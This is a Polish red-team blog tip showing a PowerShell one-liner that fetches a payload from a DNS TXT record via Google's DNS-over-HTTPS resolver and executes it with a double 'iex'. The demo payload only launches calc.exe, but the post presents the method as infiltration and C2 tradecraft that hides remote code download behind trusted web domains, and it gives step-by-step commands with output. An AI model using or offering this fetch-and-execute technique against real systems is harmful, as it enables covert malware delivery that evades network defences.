alphasec
PowerShell protip 0020
in 𝕏

Infiltracja po DNS-over-HTTPS

tty1 · powershell
PS> (irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data|iex|iex
#Powershell#RedTeam#DoH#DNS#Windows#Infil#C2

W Protipie /pl/001d pobraliśmy i uruchomiliśmy ładunek wykorzystując usługę DNS. Ciągle na popularności jednak zyskuje DNS-over-HTTPS, który wykorzystuje HTTPS jako kanał komunikacji z serwerami DNS. Publicznych serwerów DoH jest naprawdę sporo. Z jednej strony pomaga to podnieść poziom bezpieczeństwa, bo zapytania DNS są szyfrowane w HTTPS, z drugiej mechanizm DNS-over-HTTPS pozwala zespołom redteamowym wykorzystać zaufane domeny WWW do eksfiltracji/infiltracji danych.

Wykorzystując znany już nam cmdlet Invoke-RestMethod (irm), po odpytaniu jednego z serwerów DoH otrzymamy obiekt JSON, który zawiera nasz payload (żeby go konkretnie zlokalizować możemy skorzystać również ze znanego nam już z /pl/001f - GetMember):

PS C:\Users\drg> (irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data
"calc.exe"
PS C:\Users\drg>

Zwracany payload to łańcuch znaków, co widać po tym, że znajduje się w cudzysłowiu. Przed uruchomieniem go musimy w tym wypadku usunąć cudzysłów, zróbmy to na dwa sposoby. Po pierwsze, możemy usunąć cudzysłów za pomocą metody Trim(), którą posiadają stringi:

PS C:\Users\drg> (irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data.Trim('"')
calc.exe
PS C:\Users\drg>

W drugiej metodzie wykorzystamy samego Powershella - jeśli wpiszemy w konsoli zmienną czy obiekt, wyświetli nam się jej/jego zawartość (w przypadku stringów już bez cudzysłowu):

PS C:\Users\drg> "test"
test
PS C:\Users\drg>

A zatem:

PS C:\Users\drg> (irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data|iex
calc.exe
PS C:\Users\drg>

Ostatecznie krótszą metodą jest ta druga, zatem ostateczna linijka, która uruchomi nasz payload po wcześniejszym usunięciu cudzysłowu, to:

(irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data|iex|iex

Przydatne linki

https://github.com/curl/curl/wiki/DNS-over-HTTPS lista publicznych serwerów DoH github ↗
← poprzedni protip 001f ••• Wszystkie protipy następny → protip 0021
// subskrybuj

Nowe protipy prosto na maila.

Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.

wersja newslettera: